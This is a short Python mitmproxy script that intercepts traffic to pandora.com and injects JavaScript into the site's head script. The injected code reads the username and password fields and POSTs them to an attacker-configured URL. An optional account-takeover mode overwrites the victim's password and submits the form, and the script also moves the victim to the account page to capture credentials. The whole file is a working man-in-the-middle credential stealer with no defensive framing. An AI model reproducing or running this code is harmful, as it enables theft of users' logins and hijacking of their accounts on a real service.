options = {
    "url": "http://localhost:4444",
    "account_takeover": "true"
}

def response(context, flow):
    # Make sure we're attacking pandora
    if flow.request.host.find("pandora.com") == -1:
        return
    # Inject into the head script
    if flow.request.path.find("/script.head.js") == -1:
        return

    flow.response.decode()
    script = """
var ps_stealer = false;
var ps_prev_loc = $.address.path();
var _account_takeover = %s;
function steal_pass() {
var _p_ = document.getElementById('password');
var _u_ = document.getElementById('username');
if (_p_) {
if (_account_takeover) {
_p_.value = "stolen"
$('.submit_btn').trigger('click')
}
$.ajax({
type: 'POST',
url: '%s',
data: { 'password': _p_.value, 'username': _u_.value},
complete: function(data, status, xhr) {
ps_stealer = true;
$.address.value(ps_prev_loc);
$.address.update();
},
dataType: 'json'
});
}
if (!ps_stealer) {
if ($.address.path() == "/account/sign-in") {
setTimeout(function(){ steal_pass() }, 3000);
return;
}

var loc = $.address.path();
if (loc != "/account/info") {
$.address.value('/account/info');
$.address.update();
}

setTimeout(function(){ steal_pass() }, 3000);
}
    } steal_pass();""" % (options.get('account_takeover', 'false'), options.get("url", "http://localhost:8000"))

    flow.response.content = flow.response.content + script
